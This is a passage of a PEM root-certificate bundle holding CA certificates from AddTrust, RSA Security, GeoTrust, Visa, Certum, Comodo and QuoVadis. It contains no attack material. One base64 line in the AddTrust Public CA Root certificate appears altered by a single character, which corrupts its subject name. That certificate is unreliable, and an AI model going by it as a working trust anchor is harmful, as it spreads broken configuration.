MTAzODMxWhcNMjAwNTMwMTAzODMxWjBlMQswCQYDVQQGEwJTRTEUMBIGA1UEChML
QWRkVHJ1c3QgQUIxHTAbBgNVBAsTFEFkZFRydXN0IFRUUCBOZXR3b3JrMSEwHwYD
VQQDExhBZGRUcnVzdCBDbGFzcyAxIENBIFJvb3QwggEiMA0GCSqGSIb3DQEBAQUA
A4IBDwAwggEKAoIBAQCWltQhSWDia+hBBwzexODcEyPNwTXH+9ZOEQpnXvUGW2ul
CDtbKRY654eyNAbFvAWlA3yCyykQruGIgb3WntP+LVbBFc7jJp0VLhD7Bo8wBN6n
tGO0/7Gcrjyvd7ZWxbWroulpOj0OM3kyP3CCkplhbY0wCI9xP6ZIVxn4JdxLZlyl
dI+Yrsj5wAYi56xz36Uu+1LcsRVlIPo1Zmne3yzxbrww2ywkEtvrNTVokMsAsJch
PXQhI2U0K7t4WaPW4XY5mqRJjox0r26kmqPZm9I4XJuiGMx1I4S+6+JNM3GOGvDC
+Mcdoq0Dlyz4zyXG9rgkMbFjXZJ/Y/AlyVMuH79NAgMBAAGjgdIwgc8wHQYDVR0O
BBYEFJWxtPCUtr3H2tERCSG+wa9J/RB7MAsGA1UdDwQEAwIBBjAPBgNVHRMBAf8E
BTADAQH/MIGPBgNVHSMEgYcwgYSAFJWxtPCUtr3H2tERCSG+wa9J/RB7oWmkZzBl
MQswCQYDVQQGEwJTRTEUMBIGA1UEChMLQWRkVHJ1c3QgQUIxHTAbBgNVBAsTFEFk
ZFRydXN0IFRUUCBOZXR3b3JrMSEwHwYDVQQDExhBZGRUcnVzdCBDbGFzcyAxIENB
IFJvb3SCAQEwDQYJKoZIhvcNAQEFBQADggEBACxtZBsfzQ3duQH6lmM0MkhHma6X
7f1yFqZzR1r0693p9db7RcwpiURdv0Y5PejuvE1Uhh4dbOMXJ0PhiVYrqW9yTkkz
43J8KiOavD7/KCrto/8cI7pDVwlnTUtiBi34/2ydYB7YHEt9tTEv2dB8Xfjea4MY
eDdXL+gzB2ffHsdrKpV2ro9Xo/D0UrSpUwjP4E/TelOL/bscVjby/rK25Xa71SJl
pz/+0WatC7xrmYbvP33zGDLKe8bjq2RGlfgmadlVg3sslgf/WSxEo8bl6ancoWOA
WiFeIc9TVPC6b4nbqKqVz4vjccweGyBECMB6tkD9xOQ14R0WHNC8K47Wcdk=
-----END CERTIFICATE-----
-----BEGIN CERTIFICATE-----
MIIENjCCAx6gAwIBAgIBATANBgkqhkiG9w0BAQUFADBvMQswCQYDVQQGEwJTRTEU
MBIGA1UEChMLQWRkVHJ1c3QgQUIxJjAkBgNVBAsTHUFkZFRydXN0IEV4dGVybmFs
IFRUUCBOZXR3b3JrMSIwIAYDVQQDExlBZGRUcnVzdCBFeHRlcm5hbCBDQSBSb290
MB4XDTAwMDUzMDEwNDgzOFoXDTIwMDUzMDEwNDgzOFowbzELMAkGA1UEBhMCU0Ux
FDASBgNVBAoTC0FkZFRydXN0IEFCMSYwJAYDVQQLEx1BZGRUcnVzdCBFeHRlcm5h
bCBUVFAgTmV0d29yazEiMCAGA1UEAxMZQWRkVHJ1c3QgRXh0ZXJuYWwgQ0EgUm9v
dDCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEBALf3GjPm8gAELTngTlvt
H7xsD821+iO2zt6bETOXpClMfZOfvUq8k+0DGuOPz+VtUFrWlymUWoCwSXrbLpX9
uMq/NzgtHj6RQa1wVsfwTz/oMp50ysiQVOnGXw94nZpAPA6sYapeFI+eh6FqUNzX
mk6vBbOmcZSccbNQYArHE504B4YCqOmoaSYYkKtMsE8jqzpPhNjfzp/haW+710LX
a0Tkx63ubUFfclpxCDezeWWkWaCUN/cALw3CknLa0Dhy2xSoRcRdKn23tNbE7qzN
E0S3ySvdQwAl+mG5aWpYIxG3pzOPVnVZ9c0p10a3CitlttNCbxWyuHv77+ldU9U0
WicCAwEAAaOB3DCB2TAdBgNVHQ4EFgQUrb2YejS0Jvf6xCZU7wO94CTLVBowCwYD
VR0PBAQDAgEGMA8GA1UdEwEB/wQFMAMBAf8wgZkGA1UdIwSBkTCBjoAUrb2YejS0
Jvf6xCZU7wO94CTLVBqhc6RxMG8xCzAJBgNVBAYTAlNFMRQwEgYDVQQKEwtBZGRU
cnVzdCBBQjEmMCQGA1UECxMdQWRkVHJ1c3QgRXh0ZXJuYWwgVFRQIE5ldHdvcmsx
IjAgBgNVBAMTGUFkZFRydXN0IEV4dGVybmFsIENBIFJvb3SCAQEwDQYJKoZIhvcN
AQEFBQADggEBALCb4IUlwtYj4g+WBpKdQZic2YR5gdkeWxQHIzZlj7DYd7usQWxH
YINRsPkyPef89iYTx4AWpb9a/IfPeHmJIZriTAcKhjW88t5RxNKWt9x+Tu5w/Rw5
6wwCURQtjr0W4MHfRnXnJK3s9EK0hZNwEGe6nQY1ShjTK3rMUUKhemPR5ruhxSvC
Nr4TDea9Y355e6cJDUCrat2PisP29owaQgVR1EX1n6diIWgVIEM8med8vSTYqZEX
c4g/VhsxOBi0cQ+azcgOno4uG+GMmIPLHzHxREzGBHNJdmAPx/i9F4BrLunMTA5a
mnkPIAou1Z5jJh5VkpTYghdae9C8x49OhgQ=
-----END CERTIFICATE-----
-----BEGIN CERTIFICATE-----
MIIEFTCCAv2gAwIBAgIBATANBgkqhkiG9w0BAQUFADBkMQswCQYDVQQGEwJTRTEU
MBIGA1UEChMLQWRkVHJ1c3QgQUIxHTAbBgNVBAsTFEFkZFRydXN0IFRUUCBOZXR3
b3JrMSAwHgYDVQQDExdBZGRUcnVzdCBQdWJsaWMgQ0EgUm9vdDAeFw0wMDA1MzAx
MDQxNTBaFw0yMDA1MzAxMDQxNTBaMGQxCzAJBgNVBAYTAlNFMRQwEgYDVQQKEwtB
ZGRUcnVzdCBBQjEdMBsGA1UECxMUQWRkVHJ1c3QgVFRQIE5ldHdvcmsxIDAeBgNV
BAMTFOFkZFRydXN0IFB1YmxpYyBDQSBSb290MIIBIjANBgkqhkiG9w0BAQEFAAOC
AQ8AMIIBCgKCAQEA6Rowj4OIFMEg2Dybjxt+A3S72mnTRqX4jsIMEZBRpS9mVEBV
6tsfSlbunyNu9DnLoblv8n75XYcmYZ4c+OLspoH4IcUkzBEMP9smcnrHAZcHF/nX
GCwwfQ56HmIexkvA/X1id9NEHif2P0tEs7c42TkfYNVRknMDtABp4/MUTu7R3AnP
dzRGULD4EfL+OHn3Bzn+UZKXC1sIXzSGAa2Il+tmzV7R/9x98oTaunet3IAIx6eH
1lWfl2royBFkuucZKT8Rs3iQhCBSWxHveNCD9tVIkNAwHM+A+WD+eeSI8t0A65RF
62WUaUC6wNW0uLp9BBGo6zEFlpROWCGOn9Bg/QIDAQABo4HRMIHOMB0GA1UdDgQW
BBSBPjfYkrAfd59ctKtzquf2NGAv+jALBgNVHQ8EBAMCAQYwDwYDVR0TAQH/BAUw
AwEB/zCBjgYDVR0jBIGGMIGDgBSBPjfYkrAfd59ctKtzquf2NGAv+qFopGYwZDEL
MAkGA1UEBhMCU0UxFDASBgNVBAoTC0FkZFRydXN0IEFCMR0wGwYDVQQLExRBZGRU
cnVzdCBUVFAgTmV0d29yazEgMB4GA1UEAxMXQWRkVHJ1c3QgUHVibGljIENBIFJv
b3SCAQEwDQYJKoZIhvcNAQEFBQADggEBAAP3FUr4JNojVhaTdt02KLmuG7jD8WS6
IBh4lSknVwW8fCr0uVFV2ocC3g8WFzH4qnkuCRO7r7IgGRLlk/lL+YPoRNWyQSW/
iHVv/xD8SlTQX/D67zZzfRs2RcYhbbQVuE7PnFylPVoAjgbjPGsye/Kf8Lb93/Ao
GEjwxrzQvzSAlsJKsW2Ox5BF3i9nrEUEo3rcVZLJR2bYGozH7ZxOmuASu7VqTITh
4SINhwBk/ox9Yjllpu9CtoAlEmEBqCQTcAARJl/6NVDFSMwGR+gn2HCNX2TmoUQm
XiLsks3/QppEIW1cxeMiHV9HEufOX1362KqxMy3ZdvJOOjMMK7MtkAY=
-----END CERTIFICATE-----
-----BEGIN CERTIFICATE-----
MIIEHjCCAwagAwIBAgIBATANBgkqhkiG9w0BAQUFADBnMQswCQYDVQQGEwJTRTEU
MBIGA1UEChMLQWRkVHJ1c3QgQUIxHTAbBgNVBAsTFEFkZFRydXN0IFRUUCBOZXR3
b3JrMSMwIQYDVQQDExpBZGRUcnVzdCBRdWFsaWZpZWQgQ0EgUm9vdDAeFw0wMDA1
MzAxMDQ0NTBaFw0yMDA1MzAxMDQ0NTBaMGcxCzAJBgNVBAYTAlNFMRQwEgYDVQQK
EwtBZGRUcnVzdCBBQjEdMBsGA1UECxMUQWRkVHJ1c3QgVFRQIE5ldHdvcmsxIzAh
BgNVBAMTGkFkZFRydXN0IFF1YWxpZmllZCBDQSBSb290MIIBIjANBgkqhkiG9w0B
AQEFAAOCAQ8AMIIBCgKCAQEA5B6a/twJWoekn0e+EV+vhDTbYjx5eLfpMLXsDBwq
xBb/4Oxx64r1EW7tTw2R0hIYLUkVAcKkIhPHEWT/IhKauY5cLwjPcWqzZwFZ8V1G
87B4pfYOQnrjfxvM0PC3KP0q6p6zsLkEqv32x7SxuCqg+1jxGaBvcCV+PmlKfw8i
2O+tCBGaKZnhqkRFmhJePp1tUvznoD1oL/BLcHwTOK28FSXx1s6rosAx1i+f4P8U
WfyEk9mHfExUE+uf0S0R+Bg6Ot4l2ffTQO2kBhLEO+GRwVY18BTcZTYJbqukB8c1
0cIDMzZbdSZtQvESa0NvS3GU+jQd7RNuyoB/mC9suWXY6QIDAQABo4HUMIHRMB0G
A1UdDgQWBBQ5lYtii1zJ1IC6WA+XPxUIQ8yYpzALBgNVHQ8EBAMCAQYwDwYDVR0T
AQH/BAUwAwEB/zCBkQYDVR0jBIGJMIGGgBQ5lYtii1zJ1IC6WA+XPxUIQ8yYp6Fr
pGkwZzELMAkGA1UEBhMCU0UxFDASBgNVBAoTC0FkZFRydXN0IEFCMR0wGwYDVQQL
ExRBZGRUcnVzdCBUVFAgTmV0d29yazEjMCEGA1UEAxMaQWRkVHJ1c3QgUXVhbGlm
aWVkIENBIFJvb3SCAQEwDQYJKoZIhvcNAQEFBQADggEBABmrder4i2VhlRO6aQTv
hsoToMeqT2QbPxj2qC0sVY8FtzDqQmodwCVRLae/DLPt7wh/bDxGGuoYQ992zPlm
hpwsaPXpF/gxsxjE1kh9I0xowX67ARRvxdlu3rsEQmr49lx95dr6h+sNNVJn0J6X
dgWTP5XHAeZpVTh/EGGZyeNfpso+gmNIquIISD6q8rKFYqa0p9m9N5xotS1WfbC3
P6CxB9bpT9zeRXEwMn8bLgn5v1Kh7sKAPgZcLlVAwRv1cEWw3F369nJad9Jjzc9Y
iQBCYz95OdBEsIJuQRno3eDBiFrRHnGTHyQwdOUeqN48Jzd/g66ed8/wMLH/S5no
xqE=
-----END CERTIFICATE-----
-----BEGIN CERTIFICATE-----
MIIDYTCCAkmgAwIBAgIQCgEBAQAAAnwAAAAKAAAAAjANBgkqhkiG9w0BAQUFADA6
MRkwFwYDVQQKExBSU0EgU2VjdXJpdHkgSW5jMR0wGwYDVQQLExRSU0EgU2VjdXJp
dHkgMjA0OCBWMzAeFw0wMTAyMjIyMDM5MjNaFw0yNjAyMjIyMDM5MjNaMDoxGTAX
BgNVBAoTEFJTQSBTZWN1cml0eSBJbmMxHTAbBgNVBAsTFFJTQSBTZWN1cml0eSAy
MDQ4IFYzMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAt49VcdKA3Xtp
eafwGFAyPGJn9gqVB93mG/Oe2dJBVGutn3y+Gc37RqtBaB4Y6lXIL5F4iSj7Jylg
/9+PjDvJSZu1pJTOAeo+tWN7fyb9Gd3AIb2E0S1PRsNO3Ng3OTsor8udGuorryGl
wSMiuLgbWhOHV4PR8CDn6E8jQrAApX2J6elhc5SYcSa8LWrg903w8bYqODGBDSnh
AMFRD0xS+ARaqn1y07iHKrtjEAMqs6FPDVpeRrc9DvV07Jmf+T0kgYim3WBU6JU2
PcYJk5qjEoAAVZkZR73QpXzDuvsf9/UP+Ky5tfQ3mBMY3oVbtwyCO4dvlTlYMNpu
AWgXIszACwIDAQABo2MwYTAPBgNVHRMBAf8EBTADAQH/MA4GA1UdDwEB/wQEAwIB
BjAfBgNVHSMEGDAWgBQHw1EwpKrpRa41JPr/JCwz0LGdjDAdBgNVHQ4EFgQUB8NR
MKSq6UWuNST6/yQsM9CxnYwwDQYJKoZIhvcNAQEFBQADggEBAF8+hnZuuDU8TjYc
HnmYv/3VEhF5Ug7uMYm83X/50cYVIeiKAVQNOvtUudZj1LGqlk2iQk3UUx+LEN5/
Zb5gEydxiKRz44Rj0aRV4VCT5hsOedBnvEbIvz8XDZXmxpBp3ue0L96VfdASPz0+
f00/FGj1EVDVwfSQpQgdMWD/YIwjVAqv/qFuxdF6Kmh4zx6CCiC0H63lhbJqaHVO
rSU3lIW+vaHU6rcMSzyd6BIA8F+sDeGscGNz9395nzIlQnQFgCi/vcEkllgVsRch
6YlL2weIZ/QVrXA+L02FO8K32/6YaCOJ4XQP3vTFhGMpG8zLB8kApKnXwiJPZ9d3
7CAFYd4=
-----END CERTIFICATE-----
-----BEGIN CERTIFICATE-----
MIIDVDCCAjygAwIBAgIDAjRWMA0GCSqGSIb3DQEBBQUAMEIxCzAJBgNVBAYTAlVT
MRYwFAYDVQQKEw1HZW9UcnVzdCBJbmMuMRswGQYDVQQDExJHZW9UcnVzdCBHbG9i
YWwgQ0EwHhcNMDIwNTIxMDQwMDAwWhcNMjIwNTIxMDQwMDAwWjBCMQswCQYDVQQG
EwJVUzEWMBQGA1UEChMNR2VvVHJ1c3QgSW5jLjEbMBkGA1UEAxMSR2VvVHJ1c3Qg
R2xvYmFsIENBMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA2swYYzD9
9BcjGlZ+W988bDjkcbd4kdS8odhM+KhDtgPpTSEHCIjaWC9mOSm9BXiLnTjoBbdq
fnGk5sRgprDvgOSJKA+eJdbtg/OtppHHmMlCGDUUna2YRpIuT8rxh0PBFpVXLVDv
iS2Aelet8u5fa9IAjbkU+BQVNdnARqN7csiRv8lVK83Qlz6cJmTM386DGXHKTubU
1XupGc1V3sjs0l44U+VcT4wt/lAjNvxm5suOpDkZALeVAjmRCw7+OC7RHQWa9k0+
bw8HHa8sHo9gOeL6NlMTOdReJivbPagUvTLrGAMoUgRx5aszPeE4uwc2hGKceeoW
MPRfwCvocWvk+QIDAQABo1MwUTAPBgNVHRMBAf8EBTADAQH/MB0GA1UdDgQWBBTA
ephojYn7qwVkDBF9qn1luMrMTjAfBgNVHSMEGDAWgBTAephojYn7qwVkDBF9qn1l
uMrMTjANBgkqhkiG9w0BAQUFAAOCAQEANeMpauUvXVSOKVCUn5kaFOSPeCpilKIn
Z57QzxpeR+nBsqTP3UEaBU6bS+5Kb1VSsyShNwrrZHYqLizz/Tt1kL/6cdjHPTfS
tQWVYrmm3ok9Nns4d0iXrKYgjy6myQzCsplFAMfOEVEiIuCl6rYVSAlk6l5PdPcF
PseKUgzbFbS9bZvlxrFUaKnjaZC2mqUPuLk/IH2uSrW4nOQdtqvmlKXBx4Ot2/Un
hw4EbNX/3aBd7YdStysVAq45pmp06drE57xNNB6pXE0zX5IJL4hmXXeXxx12E6nV
5fEWCRE11azbJHFwLJhWC9kXtNHjUStedejV0NxPNO3CBWaAocvmMw==
-----END CERTIFICATE-----
-----BEGIN CERTIFICATE-----
MIIDojCCAoqgAwIBAgIQE4Y1TR0/BvLB+WUF1ZAcYjANBgkqhkiG9w0BAQUFADBr
MQswCQYDVQQGEwJVUzENMAsGA1UEChMEVklTQTEvMC0GA1UECxMmVmlzYSBJbnRl
cm5hdGlvbmFsIFNlcnZpY2UgQXNzb2NpYXRpb24xHDAaBgNVBAMTE1Zpc2EgZUNv
bW1lcmNlIFJvb3QwHhcNMDIwNjI2MDIxODM2WhcNMjIwNjI0MDAxNjEyWjBrMQsw
CQYDVQQGEwJVUzENMAsGA1UEChMEVklTQTEvMC0GA1UECxMmVmlzYSBJbnRlcm5h
dGlvbmFsIFNlcnZpY2UgQXNzb2NpYXRpb24xHDAaBgNVBAMTE1Zpc2EgZUNvbW1l
cmNlIFJvb3QwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQCvV95WHm6h
2mCxlCfLF9sHP4CFT8icttD0b0/Pmdjh28JIXDqsOTPHH2qLJj0rNfVIsZHBAk4E
lpF7sDPwsRROEW+1QK8bRaVK7362rPKgH1g/EkZgPI2h4H3PVz4zHvtH8aoVlwdV
ZqW1LS7YgFmypw23RuwhY/81q6UCzyr0TP579ZRdhE2o8mCP2w4lPJ9zcc+U30rq
299yOIzzlr3xF7zSujtFWsan9sYXiwGd/BmoKoMWuDpI/k4+oKsGGelT84ATB+0t
vz8KPFUgOSwsAGl0lUq8ILKpeeUYiZGo3BxN77t+Nwtd/jmliFKMAGzsGHxBvfaL
dXe6YJ2E5/4tAgMBAAGjQjBAMA8GA1UdEwEB/wQFMAMBAf8wDgYDVR0PAQH/BAQD
AgEGMB0GA1UdDgQWBBQVOIMPPyw/cDMezUb+B4wg4NfDtzANBgkqhkiG9w0BAQUF
AAOCAQEAX/FBfXxcCLkr4NWSR/pnXKUTwwMhmytMiUbPWU3J/qVAtmPN3XEolWcR
zCSs00Rsca4BIGsDoo8Ytyk6feUWYFN4PMCvFYP3j1IzJL1kk5fui/fbGKhtcbP3
LBfQdCVp9/5rPJS+TUtBjE7ic9DjkCJzQ83z7+pzzkWKsKZJ/0x9nXGIxHYdkFsd
7v3M9+79YKWxehZx0RbQfBI8bGmX265fOZpwLwU8GUYEmSA20GBuYQa7FkKMcPcw
++DbZqMAAb3mLNqRX6BGi01qnD093QVG/na/oAo85ADmJ7f/hC3euiInlhBx6yLt
398znM/jra6O1I7mT1GvFpLgXPYHDw==
-----END CERTIFICATE-----
-----BEGIN CERTIFICATE-----
MIIDDDCCAfSgAwIBAgIDAQAgMA0GCSqGSIb3DQEBBQUAMD4xCzAJBgNVBAYTAlBM
MRswGQYDVQQKExJVbml6ZXRvIFNwLiB6IG8uby4xEjAQBgNVBAMTCUNlcnR1bSBD
QTAeFw0wMjA2MTExMDQ2MzlaFw0yNzA2MTExMDQ2MzlaMD4xCzAJBgNVBAYTAlBM
MRswGQYDVQQKExJVbml6ZXRvIFNwLiB6IG8uby4xEjAQBgNVBAMTCUNlcnR1bSBD
QTCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEBAM6xwS7TT3zNJc4YPk/E
jG+AanPIW1H4m9LcuwBcsaD8dQPugfCI7iNS6eYVM42sLQnFdvkrOYCJ5JdLkKWo
ePhzQ3ukYbDYWMzhbGZ+nPMJXlVjhNWo7/OxLjBos8Q82KxujZlakE403Daaj4GI
ULdtlkIJ89eVgw1BS7Bqa/j8D35in2fE7SZfECYPCE/wpFcozo+47UX2bu4lXapu
Ob7kky/ZR6By6/qmW6/KUz/iDsaWVhFu9+lmqSbYf5VT7QqFiLpPKaVCjF62/IUg
AKpoC6EahQGcxEZjgoi2IrHu/qpGWX7PNSzVttpd90gzFFS269lvzs2I1qsb2pY7
HVkCAwEAAaMTMBEwDwYDVR0TAQH/BAUwAwEB/zANBgkqhkiG9w0BAQUFAAOCAQEA
uI3O7+cUus/usESSbLQ5PqKEbq24IXfS1HeCh+YgQYHu4vgRt2PRFze+GXYkHAQa
TOs9qmdvLdTN/mUxcMUbpgIKumB7bVjCmkn+YzILa+M6wKyrO7Do0wlRjBCDxjTg
xSvgGrZgFCdsMneMvLJymM/NzD+5yCRCFNZX/OYmQ6kd5YCQzgNUKD73P9P4Te1q
CjqTE5s7FCMTY5w/0YcneeVMUeMBrYVdGjux1XMQpNPyvG5k9VpWkKjHDkx0Dy5x
O/fIR/RpbxXyEV6DHpx8Uq79AtoSqFlnGNu8cN2bsWntgM6JQEhqDjXKKWYVIZQs
6GAqm4VKQPNriiTsBhYscw==
-----END CERTIFICATE-----
-----BEGIN CERTIFICATE-----
MIIEMjCCAxqgAwIBAgIBATANBgkqhkiG9w0BAQUFADB7MQswCQYDVQQGEwJHQjEb
MBkGA1UECAwSR3JlYXRlciBNYW5jaGVzdGVyMRAwDgYDVQQHDAdTYWxmb3JkMRow
GAYDVQQKDBFDb21vZG8gQ0EgTGltaXRlZDEhMB8GA1UEAwwYQUFBIENlcnRpZmlj
YXRlIFNlcnZpY2VzMB4XDTA0MDEwMTAwMDAwMFoXDTI4MTIzMTIzNTk1OVowezEL
MAkGA1UEBhMCR0IxGzAZBgNVBAgMEkdyZWF0ZXIgTWFuY2hlc3RlcjEQMA4GA1UE
BwwHU2FsZm9yZDEaMBgGA1UECgwRQ29tb2RvIENBIExpbWl0ZWQxITAfBgNVBAMM
GEFBQSBDZXJ0aWZpY2F0ZSBTZXJ2aWNlczCCASIwDQYJKoZIhvcNAQEBBQADggEP
ADCCAQoCggEBAL5AnfRu4ep2hxxNRUSOvkbIgwadwSr+GB+O5AL686tdUIoWMQua
BtDFcCLNSS1UY8y2bmhGC1Pqy0wkwLxyTurxFa70VJoSCsN6sjNg4tqJVfMiWPPe
3M/vg4aijJRPn2jymJBGhCfHdr/jzDUsi14HZGWCwEiwqJH5YZ92IFCokcdmtet4
YgNW8IoaE+oxox6gmf049vYnMlhvB/VruPsUK6+3qszWY19zjNoFmag4qMsXeDZR
rOme9Hg6jc8P2ULimAyrL58OAd7vn5lJ8S3frHRNG5i1R8XlKdH5kBjHYpy+g8cm
ez6KJcfA3Z3mNWgQIJ2P2N7Sw4ScDV7oL8kCAwEAAaOBwDCBvTAdBgNVHQ4EFgQU
oBEKIz6W8Qfs4q8p74Klf9AwpLQwDgYDVR0PAQH/BAQDAgEGMA8GA1UdEwEB/wQF
MAMBAf8wewYDVR0fBHQwcjA4oDagNIYyaHR0cDovL2NybC5jb21vZG9jYS5jb20v
QUFBQ2VydGlmaWNhdGVTZXJ2aWNlcy5jcmwwNqA0oDKGMGh0dHA6Ly9jcmwuY29t
b2RvLm5ldC9BQUFDZXJ0aWZpY2F0ZVNlcnZpY2VzLmNybDANBgkqhkiG9w0BAQUF
AAOCAQEACFb8AvCb6P+k+tZ7xkSAzk/ExfYAWMymtrwUSWgEdujm7l3sAg9g1o1Q
GE8mTgHj5rCl7r+8dFRBv/38ErjHT1r0iWAFf2C3BUrz9vHCv8S5dIa2LX1rzNLz
Rt0vxuBqw8M0Ayx9lt1awg6nCpnBBYurDC/zXDrPbDdVCYfeU0BsWO/8tqtlbgT2
G9w84FoVxp7Z8VlIMCFlA2zs6SFz7JsDoeA3raAVGI/6ugLOpyypEBMs1OUIJqsi
l2D4kF501KKaU73yqWjgom7C12yxow+ev+to51byrvLjKzg6CYG1a4XXvi3tPxq3
smPi9WIsgtRqAEFQ8TmDn5XpNpaYbg==
-----END CERTIFICATE-----
-----BEGIN CERTIFICATE-----
MIIEPzCCAyegAwIBAgIBATANBgkqhkiG9w0BAQUFADB+MQswCQYDVQQGEwJHQjEb
MBkGA1UECAwSR3JlYXRlciBNYW5jaGVzdGVyMRAwDgYDVQQHDAdTYWxmb3JkMRow
GAYDVQQKDBFDb21vZG8gQ0EgTGltaXRlZDEkMCIGA1UEAwwbU2VjdXJlIENlcnRp
ZmljYXRlIFNlcnZpY2VzMB4XDTA0MDEwMTAwMDAwMFoXDTI4MTIzMTIzNTk1OVow
fjELMAkGA1UEBhMCR0IxGzAZBgNVBAgMEkdyZWF0ZXIgTWFuY2hlc3RlcjEQMA4G
A1UEBwwHU2FsZm9yZDEaMBgGA1UECgwRQ29tb2RvIENBIExpbWl0ZWQxJDAiBgNV
BAMMG1NlY3VyZSBDZXJ0aWZpY2F0ZSBTZXJ2aWNlczCCASIwDQYJKoZIhvcNAQEB
BQADggEPADCCAQoCggEBAMBxM4KK0HDrc4eCQNUd5MvJDkKQ+d40uaG6EfQlhfPM
cm3ye5drswfxdySRXyWP9nQ95IDC+DwN879A6vfIUtFyb+/Iq0G4bi4XKpVpDM3S
HpR7LZQdqnXXs5jLrLxkU0C8j6ysNstcrbvd4JQX7NFc0L/vpZXJkMWwrPsbQ996
CF23uPJAGysnnlDOXmWCiIxe004MeuoIkbY2qitC++rCoznl2yY4rYsK7hljxxwk
3wN42ubqwUcaCwtGCd0C/N7Lh1/XMGNooa7cMqG6vv5Eq2i2pRcV/b3Vp6ea5EQz
6YiO/O1R65NxTq0B50SOqy3LqP4BSUjwwN3HaNiS/j0CAwEAAaOBxzCBxDAdBgNV
HQ4EFgQUPNiTiMLAggnMAZkGkyDpnnAJY08wDgYDVR0PAQH/BAQDAgEGMA8GA1Ud
EwEB/wQFMAMBAf8wgYEGA1UdHwR6MHgwO6A5oDeGNWh0dHA6Ly9jcmwuY29tb2Rv
Y2EuY29tL1NlY3VyZUNlcnRpZmljYXRlU2VydmljZXMuY3JsMDmgN6A1hjNodHRw
Oi8vY3JsLmNvbW9kby5uZXQvU2VjdXJlQ2VydGlmaWNhdGVTZXJ2aWNlcy5jcmww
DQYJKoZIhvcNAQEFBQADggEBAIcBbSMdflsXfcFhMs+P5/OKlFlm4J4oqF7Tt/Q0
5qo5spcWxYJvMqTpjOev/e/C6LlLqqP05tqNZSH7uoDrJiiFGv45jN5bBAS0VPmj
Z55B+glSzAVIqMk/IQQezkhr/IXownuvf7fM+F86/TXGDe+X3EyrEeFryzHRbPtI
gKvcnDe4IRRLDXE97IMzbtFuMhbsmMcWi1mmNKsFVy2T96oTy9IT4rcuO81rUBcJ
aD61JlfutuC23bkpgHl9j6PwpCikFcSF9CfUa7/lXORlAnZUtOM3ZiTTGWHIUhDl
izeauan5Hb/qmZJhlv8BzaFfDbxxvA6sCx1HRR3B7Hzs/Sk=
-----END CERTIFICATE-----
-----BEGIN CERTIFICATE-----
MIIEQzCCAyugAwIBAgIBATANBgkqhkiG9w0BAQUFADB/MQswCQYDVQQGEwJHQjEb
MBkGA1UECAwSR3JlYXRlciBNYW5jaGVzdGVyMRAwDgYDVQQHDAdTYWxmb3JkMRow
GAYDVQQKDBFDb21vZG8gQ0EgTGltaXRlZDElMCMGA1UEAwwcVHJ1c3RlZCBDZXJ0
aWZpY2F0ZSBTZXJ2aWNlczAeFw0wNDAxMDEwMDAwMDBaFw0yODEyMzEyMzU5NTla
MH8xCzAJBgNVBAYTAkdCMRswGQYDVQQIDBJHcmVhdGVyIE1hbmNoZXN0ZXIxEDAO
BgNVBAcMB1NhbGZvcmQxGjAYBgNVBAoMEUNvbW9kbyBDQSBMaW1pdGVkMSUwIwYD
VQQDDBxUcnVzdGVkIENlcnRpZmljYXRlIFNlcnZpY2VzMIIBIjANBgkqhkiG9w0B
AQEFAAOCAQ8AMIIBCgKCAQEA33FvNlhTWvI2VFeAxHQIIO0Yfyod5jWaHiWsnOWW
fnJSoBVC21ndZHoa0Lh73TkVvFVIxO06AOoxEbrycXQaZ7jPM8yoMa+j49d/vzMt
TGo87IvDktJTdyR0nAducPy9C1t2ul/y/9c3S0pgePfw+spwtOpZqqPOSC+pw7IL
fhdyFgymBwwbOM/JYrc/oJOlh0Hyt3BAd9i+FHzjqMB6juljatEPmsbS9Is6FARW
1O24zG71++IsWL1/T2sr92AkWCTOJu80kTrV44HQsvAEAtdbtz6SrGsSivnkBbA7
kUlcsutT6vifR4buv5XAwAaf0lteERv0xwQ1KdJVXOTt6wIDAQABo4HJMIHGMB0G
A1UdDgQWBBTFe1i97doladL3WRaoszLAeydb9DAOBgNVHQ8BAf8EBAMCAQYwDwYD
VR0TAQH/BAUwAwEB/zCBgwYDVR0fBHwwejA8oDqgOIY2aHR0cDovL2NybC5jb21v
ZG9jYS5jb20vVHJ1c3RlZENlcnRpZmljYXRlU2VydmljZXMuY3JsMDqgOKA2hjRo
dHRwOi8vY3JsLmNvbW9kby5uZXQvVHJ1c3RlZENlcnRpZmljYXRlU2VydmljZXMu
Y3JsMA0GCSqGSIb3DQEBBQUAA4IBAQDIk4E7ibSvuIQSTI3S8NtwuleGFTQQuS9/
HrCoiWChisJ3DFBKmwCL2Iv0QeLQg4pKHBQGsKNoBXAxMKdTmw7pSqBYaWcOrp32
pSxBvzwGa+RZzG0Q8ZZvH9/0BAKkn0U+yNj6NkZEUD+Cl5EfKNsYEYwq5GWDVxIS
jBc/lDb+XbDABHcTuPQV1T84zJQ6VdCsmPW6AF/ghhmBeC8owH7TzEIK9a5QoNE+
xqFx7D+gIIxmOom0jtTYsU0lR+4viMi14QVFwL4Ucd56/Y57fU0IlqUSc/Atyjcn
dBInTMu2l+nZrghtWjlA3QVHdWpaIbOjGM9O9y5Xt5hwXsjEeLBi
-----END CERTIFICATE-----
-----BEGIN CERTIFICATE-----
MIIF0DCCBLigAwIBAgIEOrZQizANBgkqhkiG9w0BAQUFADB/MQswCQYDVQQGEwJC
TTEZMBcGA1UEChMQUXVvVmFkaXMgTGltaXRlZDElMCMGA1UECxMcUm9vdCBDZXJ0
aWZpY2F0aW9uIEF1dGhvcml0eTEuMCwGA1UEAxMlUXVvVmFkaXMgUm9vdCBDZXJ0
aWZpY2F0aW9uIEF1dGhvcml0eTAeFw0wMTAzMTkxODMzMzNaFw0yMTAzMTcxODMz
MzNaMH8xCzAJBgNVBAYTAkJNMRkwFwYDVQQKExBRdW9WYWRpcyBMaW1pdGVkMSUw
IwYDVQQLExxSb290IENlcnRpZmljYXRpb24gQXV0aG9yaXR5MS4wLAYDVQQDEyVR
dW9WYWRpcyBSb290IENlcnRpZmljYXRpb24gQXV0aG9yaXR5MIIBIjANBgkqhkiG
9w0BAQEFAAOCAQ8AMIIBCgKCAQEAv2G1lVO6V/z68mcLOhrfEYBklbTRvM16z/Yp
